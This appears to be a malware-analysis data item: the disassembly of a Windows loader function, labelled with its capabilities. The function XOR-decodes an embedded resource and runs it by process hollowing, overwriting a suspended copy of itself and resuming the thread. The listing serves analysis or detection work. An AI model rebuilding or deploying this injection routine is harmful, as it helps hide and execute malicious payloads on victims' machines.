Function at 0x140001000
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Encode data using xor
Extract resource via kernel32 functions
Resume thread
Use process replacement

Disassembly:
push rbx
push rsi
push rdi
push r13
sub rsp, 0x508
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rsp + 0x4e0], rax
movaps xmmword [rsp + 0x4f0], xmm6
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
xor ecx, ecx
mov dword [rsp + 0x68], 0x4e4942
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea r8, [rsp + 0x68]
mov edx, 0x84
mov rcx, rax
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_FindResourceA]
xor r13d, r13d
mov rdi, rax
test rax, rax
je 0x140001176
mov rdx, rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
je 0x140001176
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rsi, rax
test rax, rax
je 0x140001176
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SizeofResource]
movdqa xmm6, xmmword [str.kkkkkkkkkkkkkkkk_]
mov ecx, eax
mov edi, eax
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov r9d, r13d
mov rbx, rax
test edi, edi
je 0x140001181
mov r8, rsi
mov edx, edi
cmp edi, 0x40
jb 0x140001148
lea ecx, [rdi - 1]
movsxd rdx, ecx
add rax, rdx
lea rcx, [rsi + rdx]
cmp rbx, rcx
ja 0x1400010e6
mov edx, edi
cmp rax, rsi
jae 0x140001148
mov r10d, edi
and r10d, 0xffffffc0
mov rcx, rsi
lea rax, [rbx + 0x10]
sub rcx, rbx
mov r8, rsi
mov edx, edi
nop dword [rax]
movdqu xmm0, xmmword [rcx + rax - 0x10]
add r9d, 0x40
movdqu xmm1, xmmword [rcx + rax]
lea rax, [rax + 0x40]
pxor xmm0, xmm6
pxor xmm1, xmm6
movdqu xmmword [rax - 0x50], xmm0
movdqu xmm0, xmmword [rcx + rax - 0x30]
movdqu xmmword [rax - 0x40], xmm1
pxor xmm0, xmm6
movdqu xmm1, xmmword [rcx + rax - 0x20]
movdqu xmmword [rax - 0x30], xmm0
pxor xmm1, xmm6
movdqu xmmword [rax - 0x20], xmm1
cmp r9d, r10d
jb 0x140001100
cmp r9d, edx
jae 0x140001181
movsxd rcx, r9d
sub r8, rbx
add rcx, rbx
sub edx, r9d
nop dword [rax]
movzx eax, byte [rcx + r8]
lea rcx, [rcx + 1]
xor al, 0x6b
mov byte [rcx - 1], al
sub rdx, 1
jne 0x140001160
jmp 0x140001181
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rbx, rax
movsxd rdi, dword [rbx + 0x3c]
movaps xmm6, xmmword [rsp + 0x4f0]
add rdi, rbx
cmp dword [rdi], 0x4550
jne 0x1400013ac
xorps xmm1, xmm1
lea rdx, [rsp + 0xe0]
xor eax, eax
xorps xmm0, xmm0
mov r8d, 0x104
mov qword [rsp + 0x60], rax
xor ecx, ecx
mov qword [rsp + 0xd0], rax
movups xmmword [rsp + 0x50], xmm0
movups xmmword [rsp + 0x70], xmm1
movups xmmword [rsp + 0x80], xmm1
movups xmmword [rsp + 0x90], xmm1
movups xmmword [rsp + 0xa0], xmm1
movups xmmword [rsp + 0xb0], xmm1
movups xmmword [rsp + 0xc0], xmm1
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rax, [rsp + 0x50]
xor r9d, r9d
mov qword [rsp + 0x48], rax
lea rcx, [rsp + 0xe0]
lea rax, [rsp + 0x70]
xor r8d, r8d
mov qword [rsp + 0x40], rax
xor edx, edx
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], r13d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x1400013ac
mov edx, 8
xor ecx, ecx
mov r8d, 0x1000
lea r9d, [rdx - 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdx, rax
mov rsi, rax
mov dword [rax + 0x30], 0x10000b
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x1400013ac
mov r8d, dword [rdi + 0x50]
mov r9d, 0x3000
mov rdx, qword [rdi + 0x30]
mov rcx, qword [rsp + 0x50]
mov qword [rsp + 0x538], r12
mov qword [rsp + 0x540], r14
mov qword [rsp + 0x500], r15
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r9d, dword [rdi + 0x54]
mov r8, rbx
mov rcx, qword [rsp + 0x50]
mov rdx, rax
mov r15, rax
mov qword [rsp + 0x20], r13
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov r14, r13
cmp r13w, word [rdi + 6]
jae 0x140001361
mov qword [rsp + 0x530], rbp
mov rbp, r13
nop dword [rax + rax]
movsxd rax, dword [rbx + 0x3c]
mov rcx, qword [rsp + 0x50]
add rax, rbp
mov qword [rsp + 0x20], r13
mov r8d, dword [rax + rbx + 0x11c]
mov edx, dword [rax + rbx + 0x114]
add r8, rbx
mov r9d, dword [rax + rbx + 0x118]
add rdx, r15
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rdx, qword [rsi + 0x88]
lea r8, [rdi + 0x30]
mov rcx, qword [rsp + 0x50]
add rdx, 0x10
mov r9d, 8
mov qword [rsp + 0x20], r13
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
movzx eax, word [rdi + 6]
inc r14
add rbp, 0x28
cmp r14, rax
jb 0x1400012f0
mov rbp, qword [rsp + 0x530]
mov eax, dword [rdi + 0x28]
mov rdx, rsi
add rax, r15
mov qword [rsi + 0x80], rax
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, qword [rsp + 0x50]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov r15, qword [rsp + 0x500]
mov r14, qword [rsp + 0x540]
mov r12, qword [rsp + 0x538]
xor eax, eax
mov rcx, qword [rsp + 0x4e0]
xor rcx, rsp
call fcn.1400013e0
add rsp, 0x508
pop r13
pop rdi
pop rsi
pop rbx
ret